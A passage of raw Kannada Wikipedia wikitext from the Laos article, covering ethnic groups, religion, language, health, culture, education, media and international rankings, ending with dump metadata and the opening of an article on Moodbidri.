Laos.jpg|thumb|ಸ್ವಾತಂತ್ರ್ಯ ಹೋರಾಟವನ್ನು ಆಚರಿಸಲು ವಿಯೆಂಟಿಯಾನ್‌ನಲ್ಲಿ 1960ರ ದಶಕದಲ್ಲಿ USAID ಹಣದಲ್ಲಿ ನಿರ್ಮಿಸಿದ ಪಟುಕ್ಸೆ.]] [[ಚಿತ್ರ:LaosDSCN4342a.jpg|left|thumb|150px|ಲ್ವಾಂಗ್ ಪ್ರಬಂಗ್‌ನಲ್ಲಿ ಮಾಂಗ್ ಮೀಟಿಂಗ್ ಉತ್ಸವದ ಸಂದರ್ಭದಲ್ಲಿನ ಒಬ್ಬ ಯುವತಿ]] [[ಚಿತ್ರ:Primary Laos.jpg|thumb|right|ಲಾವೋಸ್‌‌ನ ಉತ್ತರ ಭಾಗದ ಗ್ರಾಮೀಣ ಪ್ರದೇಶದ ಒಂದು ಪ್ರಾಥಮಿಕ ಶಾಲೆ]] ರಾಷ್ಟ್ರದ 69%ನಷ್ಟು ಜನರು ಜನಾಂಗೀಯ [[ಲಾವೊ]]ಗಳಾಗಿದ್ದಾರೆ, ಇವರು ಪ್ರಮುಖ ತಗ್ಗು ಪ್ರದೇಶದ ನಿವಾಸಿಗಳು ಹಾಗೂ ರಾಜಕೀಯವಾಗಿ ಮತ್ತು ಸಾಂಸ್ಕೃತಿಕವಾಗಿ ಪ್ರಬಲ ಸಮುದಾಯದವರು. ಈ ಲಾವೊಗಳು ಕ್ರಿ.ಶ. ಮೊದಲ ಸಹಸ್ರಮಾನ ADಯಲ್ಲಿ[[ಚೀನಾ]]ದಿಂದ ದಕ್ಷಿಣಕ್ಕೆ ವಲಸೆಹೋಗಲು ಆರಂಭಿಸಿದ [[ಟಾಯ್]] ಭಾಷಾ ಸಮುದಾಯಕ್ಕೆ ಸೇರಿದವರಾಗಿದ್ದಾರೆ. 8% ಜನರು ಇತರ "ತಗ್ಗು ಪ್ರದೇಶದ" ಸಮುದಾಯಗಳಿಗೆ ಸೇರಿದವರಾಗಿದ್ದಾರೆ, ಇವರು ಲಾವೊ ಜನರೊಂದಿಗೆ ಸೇರಿ [[ಲಾವೊ ಲೌಮ್]]ಅನ್ನು ರಚಿಸಿದ್ದಾರೆ. ಲಾವೋಸ್‌ನ [[ಮೋಂಗ್]] (ಮಿಯಾವೊ), [[ಯಾವೊ (ಮೈನ್)]], [[ದಾವೊ]], [[ಶಾನ್]] ಮತ್ತು ಅನೇಕ [[ಟಿಬೆಟೊ-ಬರ್ಮಾ ಭಾಷೆ]] ಮಾತನಾಡುವ ಜನರಂತಹ ಅಲ್ಪಸಂಖ್ಯಾತ ಸಂಸ್ಕೃತಿಗಳು ಮತ್ತು ಗುಡ್ಡಗಾಡು ಜನರು ಲಾವೋಸ್‌‌ನ ಪ್ರತ್ಯೇಕ ಪ್ರದೇಶಗಳಲ್ಲಿ ಹಲವಾರು ವರ್ಷಗಳಿಂದ ಜೀವಿಸುತ್ತಿದ್ದಾರೆ. ಮಿಶ್ರ ಜನಾಂಗೀಯ/ಸಾಂಸ್ಕೃತಿಕ-ಭಾಷಾ ಪರಂಪರೆಯನ್ನು ಹೊಂದಿರುವ ಪರ್ವತ/ಗುಡ್ಡಗಾಡು ಬುಡಕಟ್ಟು ಜನಾಂಗದವರು ಉತ್ತರ ಲಾವೋಸ್‌‌ನಲ್ಲಿ ಕಂಡುಬಂದಿದ್ದಾರೆ. ಈ ಪ್ರದೇಶವು ಲಾವೋಸ್‌‌ನ ಸ್ಥಳೀಯರಾದ [[ಲುವಾ]] ಮತ್ತು ಕಾಮು ಜನರನ್ನೂ ಒಳಗೊಂಡಿದೆ. ಇಂದು ಲುವಾ ಜನರು ಅಪಾಯದಂಚಿನಲ್ಲಿದ್ದಾರೆ. ಒಟ್ಟಾಗಿ ಅವರನ್ನು [[ಲಾವೊ ಸೌಂಗ್]] ಅಥವಾ ಎತ್ತರ ಪ್ರದೇಶದ ಲಾವೋಟಿಯನ್ ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ. ಮಧ್ಯ ಮತ್ತು ದಕ್ಷಿಣದ ಪರ್ವತಗಳಲ್ಲಿ, [[ಲಾವೊ ಥಿಯಾಂಗ್]] ಅಥವಾ ಮಧ್ಯ-ಇಳಿಜಾರಿನ ಲಾವೋಷಿಯನ್ ಎಂದು ಕರೆಯುವ [[ಮೋನ್]]-[[ಕೇಮರ್]] ಬುಡಕಟ್ಟು ಜನಾಂಗದವರು ಉಳಿದವರಿಗಿಂತ ಹೆಚ್ಚಿನ ಸಂಖ್ಯೆಯಲ್ಲಿದ್ದಾರೆ. [[ವಿಯೆಟ್ನಾಂ]] ಮತ್ತು [[ಚೀನಾ]] ಭಾಷೆ ಮಾತನಾಡುವ ಕೆಲವರು ಹಾಗೂ [[ಥೈಲೆಂಡ್‌]]‌ನ [[ಥೈ]] ಅಲ್ಪಸಂಖ್ಯಾತರು ನಿರ್ದಿಷ್ಟವಾಗಿ ನಗರಗಳಲ್ಲಿ, ಆದರೆ ಹೆಚ್ಚಿನವರು 1940ರ ಉತ್ತರಾರ್ಧದಲ್ಲಿನ ಸ್ವಾತಂತ್ರ್ಯದ ನಂತರದ ಮತ್ತು 1975ರ ನಂತರದ ಎರಡು ಅವಧಿಗಳಲ್ಲಿ ಉಳಿದುಕೊಂಡರು. "ಲಾವೋಟಿಯನ್‌" ಪದವು ಲಾವೊ ಭಾಷೆ, ಜನಾಂಗೀಯ ಲಾವೊ ಜನರು, ಭಾಷೆ ಅಥವಾ ಸಂಪ್ರದಾಯಗಳನ್ನು ಸೂಚಿಸಬೇಕಾದ ಅವಶ್ಯಕತೆಯಿಲ್ಲ. ಇದೊಂದು ರಾಜಕೀಯ ಪದ, ಇದು ಲಾವೋಸ್‌‌ನಲ್ಲಿನ ಜನಾಂಗೀಯವಲ್ಲದ ಲಾವೊ ಸಮುದಾಯಗಳನ್ನೂ ಒಳಗೊಂಡಿದೆ. ಅವರ ರಾಜಕೀಯ ಪೌರತ್ವದಿಂದಾಗಿ ಅವರನ್ನು "ಲಾವೋಷಿಯನ್‌" ಎಂದು ಗುರುತಿಸಲಾಗುತ್ತದೆ. [[ಲಾವೋಸ್‌‌ನಲ್ಲಿರುವ ಪ್ರಧಾನ ಧರ್ಮ]]ವೆಂದರೆ [[ಥೇರವಡ ಬೌದ್ಧ ಧರ್ಮ]]. ಈ ಧರ್ಮದವರು ಪರ್ವತದ ಬುಡಕಟ್ಟು ಜನಾಂಗಗಳಲ್ಲಿ ಸಾಮಾನ್ಯವಾಗಿ ರೂಢಿಯಲ್ಲಿರುವ [[ಆನಿಮಿಸಂ]](ಸಕಲ ಚರಾಚರ ವಸ್ತುಗಳು ಆತ್ಮವನ್ನು ಹೊಂದಿವೆಯೆಂಬ ನಂಬಿಕೆ)ಯೊಂದಿಗೆ, ಅಮ‌ೂರ್ತಚೇತನದ ಆರಾಧನೆ ಮಾಡುತ್ತಾ ಶಾಂತರೀತಿಯಲ್ಲಿ ಸಹಜೀವನ ನಡೆಸುತ್ತಿದ್ದಾರೆ. ಇಲ್ಲಿ ಅಲ್ಪಸಂಖ್ಯೆಯ [[ಕ್ರೈಸ್ತಧರ್ಮ]]ದವರೂ ಇದ್ದಾರೆ, ಇವರು ವಿಯೆಂಟಿಯಾನ್‌ ಪ್ರದೇಶಕ್ಕೆ ಬಹುತೇಕ ಸೀಮಿತಗೊಂಡಿದ್ದಾರೆ. ಅಲ್ಲದೆ ಮಯನ್ಮಾರ್ ಗಡಿ ಪ್ರದೇಶಕ್ಕೆ ಸೀಮಿತಗೊಂಡ [[ಮುಸ್ಲಿಂ ಧರ್ಮ]]ದವರೂ ಇದ್ದಾರೆ. ಕ್ರೈಸ್ತಧರ್ಮದ ಧರ್ಮಪ್ರಚಾರಕ ಕೆಲಸಗಳು ಸರಕಾರದಿಂದ ನಿಯಂತ್ರಿಸಲ್ಪಡುತ್ತವೆ. ಲಾವೋಸ್‌ನ ಅಧಿಕೃತ ಮತ್ತು ಪ್ರಧಾನ ಭಾಷೆಯೆಂದರೆ [[ಲಾವೊ]]. ಇದು [[ಥೈ]] ಭಾಷಾ ಸಮುದಾಯದ ಧ್ವನಿಯನ್ನು ಹೊಂದಿರುವ ಭಾಷೆಯಾಗಿದೆ. ಬರವಣಿಗೆಯು ಕೇಮರ್ ಬರಹದ ಲಿಪಿಯನ್ನು ಆಧರಿಸಿದೆ. ಮಧ್ಯ ಇಳಿಜಾರಿನ ಮತ್ತು ಎತ್ತರ ಪ್ರದೇಶದ ಲಾವೊ ಜನರು ವಿವಿಧ ವರ್ಗದ ಬುಡಕಟ್ಟು ಭಾಷೆಗಳಲ್ಲಿ ಮಾತನಾಡುತ್ತಾರೆ. ಆಡಳಿತ ಮತ್ತು ವ್ಯಾಪಾರದಲ್ಲಿ ಈಗಲೂ ಸಾಮಾನ್ಯವಾಗಿರುವ [[ಫ್ರೆಂಚ್‌]] ಭಾಷೆಯನ್ನು ಇಲ್ಲಿನ ಹೆಚ್ಚಿನವರು ಅಧ್ಯಯನ ಮಾಡಿದ್ದಾರೆ.ಆಗ್ನೇಯ ಏಷ್ಯಾ ರಾಷ್ಟ್ರಗಳ ಒಕ್ಕೂಟ (/೦)‌ದ (ASEAN) ಭಾಷೆ ಇಂಗ್ಲಿಷ್ಅನ್ನು ಇತ್ತೀಚಿನ ದಿನಗಳಲ್ಲಿ ಹೆಚ್ಚಾಗಿ ಅಧ್ಯಯನ ಮಾಡಲಾಗುತ್ತಿದೆ. === ಆರೋಗ್ಯ === {{main|Health in Laos}} 2007ರಲ್ಲಿ ಪುರುಷರ [[ಜೀವಿತಾವಧಿ]]ಯು 63.2 ಹಾಗೂ ಮಹಿಳೆಯರ ಜೀವಿತಾವಧಿ 65.9 ಇತ್ತು.<ref name="hdrstats.undp.org">http://hdrstats.undp.org/en/countries/data_sheets/cty_ds_LAO.html</ref> 2006ರಲ್ಲಿ ಆರೋಗ್ಯಪೂರ್ಣ ಜೀವತಾವಧಿಯು 54 ಇತ್ತು.<ref name="hdrstats.undp.org"/> 2006ರಲ್ಲಿ ಐದನೇ ಎರಡರಷ್ಟು ಜನರು ಸುದಾರಿತ ನೀರಿನ ಸಂಪನ್ಮೂಲವನ್ನು ಬಳಸಿಕೊಳ್ಳುತ್ತಿರಲಿಲ್ಲ. <ref name="hdrstats.undp.org"/> ಆರೋಗ್ಯಕ್ಕೆ ಸರಕಾರವು GDPಯ ಸುಮಾರು 4 %ರಷ್ಟನ್ನು ಖರ್ಚುಮಾಡುತ್ತದೆ.<ref name="hdrstats.undp.org"/> 2006ರಲ್ಲಿ ಇದರ ಪ್ರಮಾಣವು US$ 18 (PPP)ನಷ್ಟಿತ್ತು.<ref name="hdrstats.undp.org"/> === ಧರ್ಮ === {{main|Religion in Laos}} [[ಚಿತ್ರ:Vat Aham Bouddha.JPG|right|220px|thumb|ಲ್ವಾಂಗ್ ಪ್ರಬಂಗ್‌ನ ವ್ಯಾಟ್ ಅಹಮ್‌ನ ಬುದ್ಧನ ಪ್ರತಿಮೆಗಳು]] 2005ರ ಜನಗಣತಿಯ ಪ್ರಕಾರ, ಲಾವೋಸ್‌ನ 67%ನಷ್ಟು ಜನರು [[ಥೇರವಡ ಬೌದ್ಧ ಧರ್ಮ]]ಕ್ಕೆ, 1.5%ನಷ್ಟು ಮಂದಿ [[ಕ್ರೈಸ್ತ ಧರ್ಮ]]ಕ್ಕೆ ಹಾಗೂ 31.5%ನಷ್ಟು ಜನರು ಇತರ ಅಥವಾ ಸ್ಪಷ್ಟವಾಗಿ ನಮೂದಿತವಾಗಿರದ ಧರ್ಮಕ್ಕೆ ಸೇರಿದವರಾಗಿದ್ದಾರೆ.<ref>{{Cite web |url=https://www.cia.gov/library/publications/the-world-factbook/geos/la.html |title=CIA the World Factbook |access-date=2010-04-14 |archive-date=2010-12-29 |archive-url=https://web.archive.org/web/20101229000748/https://www.cia.gov/library/publications/the-world-factbook/geos/la.html |url-status=dead }}</ref> ಲಾವೋಸ್‌ನಲ್ಲಿ ಬೌದ್ಧಮತೀಯರ ಪ್ರಮಾಣವು ಸುಮಾರು 85%ನಷ್ಟಿದೆ; ಈ ಧರ್ಮವು ಇಲ್ಲಿನ ಪ್ರಮುಖ ಸಾಮಾಜಿಕ ಶಕ್ತಿಗಳಲ್ಲಿ ಒಂದಾಗಿ ಉಳಿದಿದೆ.‌‌<ref>ಜಿಕ್‌ಗ್ರಾಫ್, ರಾಲ್ಫ್. ಲಾವೋಸ್‌‌ (ಸರಣಿ: ಮೇಜರ್ ವರ್ಲ್ಡ್ ನೇಷನ್ಸ್). ಫಿಲಡೆಲ್ಫಿಯಾ: ಚೆಲ್ಸಿಯಾ ಹೌಸ್ ಪಬ್ಲಿಷರ್ಸ್ (1999), ಪುಟ 9-10.</ref> == ಸಂಸ್ಕೃತಿ == {{Main|Culture of Laos}} {{See also|Art of Laos|Cuisine of Laos|Dance and theater of Laos|Festivals of Laos|Music of Laos}} [[ಚಿತ್ರ:3 Nagas Feast.jpg|thumb|left|200px|ಲಾವೋಸ್ ಜನರ ಅಡುಗೆಯ ಒಂದು ಉದಾಹರಣೆ]] [[ಥೇರವಡ]] [[ಬೌದ್ಧ ಸಿದ್ಧಾಂತ]]ವು ಲಾವೊ ಸಂಸ್ಕೃತಿಯಲ್ಲಿ ಪ್ರಧಾನ ಪ್ರಭಾವ ಬೀರಿದೆ. ಇದು ರಾಷ್ಟ್ರದಾದ್ಯಂತ ಭಾಷೆಯಿಂದ ಹಿಡಿದು ದೇವಾಲಯದವರೆಗೆ, ಕಲೆ, ಸಾಹಿತ್ಯ, ಕಲಾಕೌಶಲ್ಯದ ನಿರ್ವಹಣೆ ಇತ್ಯಾದಿಗಳ ಮೇಲೆ ಪರಿಣಾಮ ಬೀರಿದೆ. ಆದರೂ ಲಾವೊ ಸಂಸ್ಕೃತಿಯ ಹೆಚ್ಚಿನ ಅಂಶಗಳು ಬೌದ್ಧ ಧರ್ಮಕ್ಕಿಂತ ಹಿಂದಿನ ಇತಿಹಾಸವನ್ನು ತೋರಿಸುತ್ತವೆ. ಉದಾಹರಣೆಗಾಗಿ ಲಾವೋಷಿಯನ್‌ [[ಸಂಗೀತ]]ದಲ್ಲಿ ಒಂದು ಪ್ರಕಾರದ [[ಬಿದಿರು]] [[ಕೊಳವೆ]]ಯಂಥ [[ಖೇನ್]] ಎಂಬ ರಾಷ್ಟ್ರೀಯ [[ಸಂಗೀತ ವಾದ್ಯ]] ಹೆಚ್ಚಾಗಿ ಬಳಸಲಾಗುತ್ತದೆ. ಇದು ಇತಿಹಾಸಪೂರ್ವ ಮೂಲಗಳನ್ನು ಹೊಂದಿದೆ. ಖೇನ್ ಸಾಂಪ್ರದಾಯಿಕವಾಗಿ [[ಜಾನಪದ ಸಂಗೀತ]]ದ ಪ್ರಮುಖ ಶೈಲಿ ''[[ಲ್ಯಾಮ್‌]]'' ನ ಗಾಯಕರನ್ನು ಜತೆಗೂಡಿರುತ್ತದೆ. ಅನೇಕ ವಿಧದ ''ಲ್ಯಾಮ್'' ಶೈಲಿಗಳಲ್ಲಿ ''[[ಲ್ಯಾಮ್ ಸರವನೆ]]'' ಯು ಹೆಚ್ಚು ಜನಪ್ರಿಯವಾದುದು. ಈ ದೇಶವು ಎರಡು [[ವಿಶ್ವ ಪರಂಪರೆ ಸ್ಥಳ]]‌ಗಳನ್ನು ಹೊಂದಿದೆ: [[ಲ್ವಾಂಗ್ ಪ್ರಬಂಗ್‌]] ಮತ್ತು [[ವಾಟ್ ಫೌ]]. ಸರಕಾರವು [[ಪ್ಲೈನ್ ಆಫ್ ಜಾರ್ಸ್]]‌ಗೆ ಅದೇ ರೀತಿಯ ಸ್ಥಾನಮಾನವನ್ನು ಕೋರಿದೆ. ಜಿಗುಟಾದ ಅಕ್ಕಿಯು ಲಾವೊ ಜನರ ವಿಶಿಷ್ಟ ಪ್ರಧಾನ ಆಹಾರ ಹಾಗೂ ಇದು ಸಾಂಸ್ಕೃತಿಕ ಮತ್ತು ಧಾರ್ಮಿಕ ಪ್ರಾಮುಖ್ಯತೆಯನ್ನು ಹೊಂದಿದೆ. ಮಲ್ಲಿಗೆಯಂಥ ಅಕ್ಕಿಗಿಂತ ಜಿಗುಟಾದ ಅಕ್ಕಿಗೆ ಹೆಚ್ಚು ಆದ್ಯತೆಯನ್ನು ನೀಡಲಾಗುತ್ತದೆ. ಏಕೆಂದರೆ ಜಿಗುಟಾದ ಅಕ್ಕಿಯನ್ನು ತಿನ್ನುವ ಏಕೈಕ ರಾಷ್ಟ್ರದ ಮೂಲ ಲಾವೋಸ್. ವಿವಿಧ ಪರಿಸರದಲ್ಲಿ ಹಾಗೂ ಅನೇಕ ಜನಾಂಗೀಯ ಸಮುದಾಯಗಳಲ್ಲಿ ಭತ್ತದ ಉತ್ಪತ್ತಿಗೆ ಸಂಬಂಧಿಸಿದಂತೆ ಅನೇಕ ಸಂಪ್ರದಾಯಗಳು ಮತ್ತು ಆಚರಣೆಗಳಿವೆ. ಉದಾಹರಣೆಗಾಗಿ ಲ್ವಾಂಗ್ ಪ್ರಬಂಗ್‌ನ ಖಮ್ಮು ಕೃಷಿಕರು ಖಾವೊ ಕಾಮ್ ಎಂಬ ಭತ್ತದ ತಳಿಯನ್ನು ಸಣ್ಣ ಪ್ರಮಾಣದಲ್ಲಿ ಮೃತರಾದ ಹೆತ್ತವರ ನೆನಪಿನಲ್ಲಿ ಗುಡಿಸಲಿನ ಹತ್ತಿರ ಅಥವಾ ಭತ್ತದ ಗದ್ದೆಯ ತುದಿಯಲ್ಲಿ ಹೆತ್ತವರು ಇನ್ನೂ ಬದುಕಿದ್ದಾರೆ ಎನ್ನುವುದರ ಸಂಕೇತವಾಗಿ ನೆಡುತ್ತಾರೆ.<ref>{{Cite web |url=http://www.adb.org/Evaluation/case-studies/LAO/Evaluation-Synthesis-on-Rice.pdf |title=ಆನ್ ಎವಲ್ಯೂಷನ್ ಆಫ್ ಸಿಂಥೆಸಿಸ್ ಆಫ್ ರೈಸ್ |access-date=2010-04-14 |archive-date=2007-07-02 |archive-url=https://web.archive.org/web/20070702234215/http://www.adb.org/Evaluation/case-studies/LAO/Evaluation-Synthesis-on-Rice.pdf |url-status=dead }}</ref> === ಶಿಕ್ಷಣ === {{Main|Education in Laos}} {{See also|ವರ್ಗ:Schools in Laos}} ವಯಸ್ಕರ [[ಸಾಕ್ಷರತೆ]] ಪ್ರಮಾಣವು ಮ‌ೂರನೇ ಎರಡಕ್ಕಿಂತಲೂ ಹೆಚ್ಚಿದೆ.<ref name="hdrstats.undp.org"/> ಪುರುಷರ ಸಾಕ್ಷರತೆಯು ಮಹಿಳೆಯರ ಸಾಕ್ಷರತೆ ಪ್ರಮಾಣವನ್ನು ಮೀರಿಸುತ್ತದೆ.<ref name="hdrstats.undp.org"/> 2004ರಲ್ಲಿ ಒಟ್ಟು ಪ್ರಾಥಮಿಕ ಶಾಲೆಯ ದಾಖಲಾತಿಯ ಪ್ರಮಾಣವು 84 %ನಷ್ಟಿತ್ತು.<ref name="hdrstats.undp.org"/> [[ನ್ಯಾಷನಲ್ ಯ‌ೂನಿವರ್ಸಿಟಿ ಆಫ್ ಲಾವೋಸ್‌‌]] ಎಂಬುದು ಲಾವೋಸ್‌‌ನ ರಾಷ್ಟ್ರೀಯ ವಿಶ್ವವಿದ್ಯಾನಿಲಯವಾಗಿದೆ. == ಮಾಧ್ಯಮ == ಎರಡು ವಿದೇಶಿ ಭಾಷಾ ಪತ್ರಿಕೆಗಳನ್ನೂ ಒಳಗೊಂಡಂತೆ ಎಲ್ಲಾ ವೃತ್ತಪತ್ರಿಕೆಗಳು ಸರಕಾರದಿಂದ ಪ್ರಕಟಿಸಲ್ಪಡುತ್ತವೆ, ಆ ಎರಡು ಪತ್ರಿಕೆಗಳೆಂದರೆ - ಇಂಗ್ಲಿಷ್-ಭಾಷೆಯ ದಿನಪತ್ರಿಕೆ ''[[ವಿಯೆಂಟಿಯಾನ್‌ ಟೈಮ್ಸ್]]'' ಮತ್ತು ಫ್ರೆಂಚ್‌-ಭಾಷೆಯ ವಾರಪತ್ರಿಕೆ ''[[ಲಿ ರೆನೋವಾಟಿಯರ್]]'' . ದೇಶದ ಅಧಿಕೃತ ಸುದ್ಧಿ ಸಂಸ್ಥೆ ಖಾವೊ ಸ್ಯಾನ್ ಪ್ಯಾಥೆಟ್‌ ಲಾವೊ ಅದರ ನಾಮಸೂಚಕ ಪತ್ರಿಕೆಯ ಇಂಗ್ಲಿಷ್ ಮತ್ತು ಫ್ರೆಂಚ್ ಆವೃತ್ತಿಗಳನ್ನು ಪ್ರಕಟಿಸುತ್ತದೆ. ಇಂಟರ್ನೆಟ್ ಕೆಫೆಗಳು ಈಗ ಪ್ರಮುಖ ಪಟ್ಟಣ ಕೇಂದ್ರಗಳಲ್ಲಿ ಸಾಮಾನ್ಯವಾಗಿ ಕಂಡುಬರುತ್ತವೆ ಹಾಗೂ ಇವು ಯುವಪೀಳಿಗೆಯಲ್ಲಿ ವಿಶೇಷವಾಗಿ ಜನಪ್ರಿಯವಾಗಿದೆ. ಆದರೂ ಸರಕಾರವು ಕಟ್ಟುನಿಟ್ಟಾಗಿ ಮಾಹಿತಿಗಳಿಗೆ [[ಸೆನ್ಸರ್]] ವಿಧಿಸುತ್ತದೆ ಹಾಗೂ ಪ್ರವೇಶವನ್ನು ನಿಯಂತ್ರಿಸುತ್ತದೆ{{Citation needed|date=August 2009}}. == ಅಂತಾರಾಷ್ಟ್ರೀಯ ಶ್ರೇಣೀಕರಣ == {| class="wikitable" |- ! ಸಂಸ್ಥೆ ! ಸಮೀಕ್ಷೆ ! ಶ್ರೇಯಾಂಕ |- | ಇನ್‌ಸ್ಟಿಟ್ಯೂಟ್ ಫಾರ್ ಎಕನಾಮಿಕ್ಸ್ ಆಂಡ್ ಪೀಸ್ [http://www.economicsandpeace.org ] | [[ಜಾಗತಿಕ ಶಾಂತಿ ಸೂಚ್ಯಂಕ]]<ref>{{cite web|url=http://www.visionofhumanity.org/gpi/home.php |title=Vision of Humanity |publisher=Vision of Humanity |date= |accessdate=2010-02-04}}</ref> | 144ರಲ್ಲಿ 45 |- | ಹೆರಿಟೇಜ್ ಫೌಂಡೇಷನ್/ದ ವಾಲ್ ಸ್ಟ್ರೀಟ್ ಜರ್ನಲ್ | [[ಆರ್ಥಿಕ ಸ್ವಾತಂತ್ರ್ಯದ ಸೂಚ್ಯಂಕ]] | 157ರಲ್ಲಿ 137 |- | [[ರಿಪೋರ್ಟರ್ಸ್ ವಿದೌಟ್ ಬೋರ್ಡರ್ಸ್]] | [[ವಿಶ್ವವ್ಯಾಪಿ ಪತ್ರಿಕಾಸ್ವಾತಂತ್ರ್ಯ ಸೂಚ್ಯಂಕ]] | 173ರಲ್ಲಿ 164 |- | [[ಟ್ರಾನ್ಸ್ಪರೆನ್ಸಿ ಇಂಟರ್‌ನ್ಯಾಷನಲ್]] | [[ಭ್ರಷ್ಟಾಚಾರ ಪರಿಕಲ್ಪನೆ ಸೂಚ್ಯಂಕ]] | 180ರಲ್ಲಿ 151 |- | [[ಯುನೈಟೆಡ್ ನೇಷನ್ಸ್ ಡೆವಲಪ್ಮೆಂಟ್ ಪ್ರೋಗ್ರಾಂ]] | [[ಮಾನವ ಅಭಿವೃದ್ಧಿ ಸೂಚ್ಯಂಕ]] | 179ರಲ್ಲಿ 133 |- |} == ಇವನ್ನೂ ಗಮನಿಸಿ == {{Main|Outline of Laos}} * [[ಲಾವೋಸ್‌‌-ಸಂಬಂಧಿತ ವಿಷಯಗಳ ಪಟ್ಟಿ]] * [[ಲಾವೋಸ್‌‌ನಲ್ಲಿನ ಸಂಪರ್ಕ ವ್ಯವಸ್ಥೆ]] * [[ಲಾವೋಸ್‌‌‌ನ ಲಾಂಛನಗಳು]] * [[ಲಾವೋಸ್‌‌‌ನ ವಿದೇಶಿ ಸಂಬಂಧಗಳು]] * [[ಫ್ರೆಂಚ್‌ ವಸಾಹತುಶಾಹಿ ಸಾಮ್ರಾಜ್ಯ]] * [[ಲಾವೋಸ್‌‌ನಲ್ಲಿನ ಆರೋಗ್ಯ]] * [[ಲಾವೊ ಜನರ ಆಂತರಿಕ ಯುದ್ಧ]] * [[ಸ್ವಾತಂತ್ರ್ಯ ಸೂಚಿಗಳ ಪಟ್ಟಿ]] * [[ಲಾವೋಸ್‌‌ನ ಸೈನ್ಯ]] * [[ಲಾವೋಸ್‌‌ನ ಮೇಲೆ ಉತ್ತರ ವಿಯೆಟ್ನಾಂನ ದಾಳಿ]] * [[ಲಾವೋಸ್‌‌ನ ಶೋಧನೆ]] * [[ಲಾವೋಸ್‌‌ನ ಸಾರಿಗೆ ವ್ಯವಸ್ಥೆ]] * [[ವಿಯೆಟ್ನಾಂ ಯುದ್ಧ]] '''ಲಾವೋಸ್‌‌ನ ಜನಾಂಗೀಯ ಅಲ್ಪಸಂಖ್ಯಾತರ ಮುಖಂಡರು''' * [[ಪಾ ಚೇ ವ್ಯು]] * [[ಓಂಗ್ ಕಿಯೊ]] * [[ಓಂಗ್ ಕೊಮ್ಮಾಂಡಮ್]] == ಟಿಪ್ಪಣಿಗಳು ಮತ್ತು ಉಲ್ಲೇಖಗಳು == {{Reflist}} == ಹೊರಗಿನ ಕೊಂಡಿಗಳು == {{sisterlinks}} * [http://www.laopdr.gov.la/ePortal/home/home.action?request_locale=en_US ದ ನ್ಯಾಷನಲ್ ಪೋರ್ಟಲ್ ಆಫ್ ಲಾವೋಸ್‌‌] {{Webarchive|url=https://web.archive.org/web/20110109145335/http://www.laopdr.gov.la/ePortal/home/home.action?request_locale=en_US |date=2011-01-09 }} * [http://www.tourismlaos.gov.la ಲಾವೊ ನ್ಯಾಷನಲ್ ಟೂರಿಸಮ್ ಅಡ್ಮಿನಿಸ್ಟ್ರೇಷನ್] {{Webarchive|url=https://web.archive.org/web/20050424131157/http://www.tourismlaos.gov.la/ |date=2005-04-24 }} * [https://www.cia.gov/library/publications/world-leaders-1/world-leaders-s/switzerland.html Chief of State and Cabinet Members] {{Webarchive|url=https://web.archive.org/web/20090114085557/https://www.cia.gov/library/publications/world-leaders-1/world-leaders-s/switzerland.html |date=2009-01-14 }} * [http://news.bbc.co.uk/1/hi/world/asia-pacific/country_profiles/1154621.stm BBC ನ್ಯೂಸ್ - ಕಂಟ್ರಿ ಪ್ರೊಫೈಲ್: ಲಾವೋಸ್‌‌] * [http://laovoices.com/about-laos/ ಲಾವೊ ವಾಯ್ಸಸ್] {{Webarchive|url=https://web.archive.org/web/20081014031757/http://laovoices.com/about-laos/ |date=2008-10-14 }} * [http://laomedia.la ಲಾವೊ ಮೀಡಿಯಾ] {{Webarchive|url=https://web.archive.org/web/20081023034300/http://laomedia.la/ |date=2008-10-23 }} * [http://www.unbelievablelaos.com ವರ್ಚುವಲ್ ಟೂರ್ ಆಫ್ ಲಾವೋಸ್‌‌] {{Webarchive|url=https://web.archive.org/web/20180329074225/http://unbelievablelaos.com/ |date=2018-03-29 }} ; ಸಾಮಾನ್ಯ ಮಾಹಿತಿ * {{CIA World Factbook link|la|Laos}} * [http://ucblibraries.colorado.edu/govpubs/for/laos.htm ಲಾವೋಸ್‌‌] - ''UCB ಲೈಬ್ರರೀಸ್ ''ಗೌಪಬ್ಸ್'' '' ‌ನದ್ದು * {{dmoz|Regional/Asia/Laos}} * {{wikiatlas|Laos}} * {{wikivoyage|Laos}} {{Socialist states}} {{Template group |title = Geographic locale |list = {{Countries and territories of Southeast Asia}} {{Countries of Asia}} }} {{Template group |title = International membership and history |list = {{Association of Southeast Asian Nations (ASEAN)}} {{East Asia Summit (EAS)}} {{La Francophonie|state=collapsed}} {{Communist states}} {{Former French colonies}} }} [[ವರ್ಗ:ಲಾವೋಸ್‌]] [[ವರ್ಗ:ಆಗ್ನೇಯ ಏಷ್ಯಾದ ರಾಷ್ಟ್ರಗಳು]] [[ವರ್ಗ:ಆಗ್ನೇಯ ಏಷ್ಯಾ ರಾಷ್ಟ್ರಗಳ ಒಕ್ಕೂಟದ ಸದಸ್ಯ ರಾಜ್ಯಗಳು]] [[ವರ್ಗ:ಲಾ ಫ್ರಾಂಕೊಫೊನೈ‌ನ ಸದಸ್ಯ ರಾಜ್ಯಗಳು]] [[ವರ್ಗ:ಅತ್ಯಲ್ಪ ಅಭಿವೃದ್ದಿ ಹೊಂದಿದ ದೇಶಗಳು]] [[ವರ್ಗ:ನೆಲಾವೃತವಾದ ರಾಷ್ಟ್ರಗಳು]] [[ವರ್ಗ:1949ರಲ್ಲಿ ಸ್ಥಾಪಿತವಾದ ರಾಜ್ಯಗಳು ಮತ್ತು ಪ್ರದೇಶಗಳು]] [[ವರ್ಗ:ಕಮ್ಯೂನಿಸ್ಟ್‌ ರಾಜ್ಯಗಳು]] [[ವರ್ಗ:ಸಮಾಜವಾದಿ ರಾಜ್ಯಗಳು]] [[ವರ್ಗ:ಏಕಪಕ್ಷ ರಾಜ್ಯಗಳು]] [[ವರ್ಗ:ಏಷ್ಯಾ ಖಂಡದ ದೇಶಗಳು]] s97zbly385y4d85o6icljh8mei12dpd ಮೂಡುಬಿದಿರೆ 0 16987 1116489 1088223 2022-08-23T14:25:35Z Akshitha achar 75927 wikitext text/x-wiki '''ಮೂಡುಬಿದಿರೆ''' ([[ತುಳು]]: ''ಬೆದ್ರ'' ,ಕೊಂಕಣಿ :''ಬಿದ್ರ್ಯಾಂ'') [[ದಕ್ಷಿಣ ಕನ್ನಡ]] [[ಜಿಲ್ಲೆ]]ಯ ಒಂದು ಮುಖ್ಯ ಪಟ್ಟಣ. ಮಂಗಳೂರಿನಿಂದ 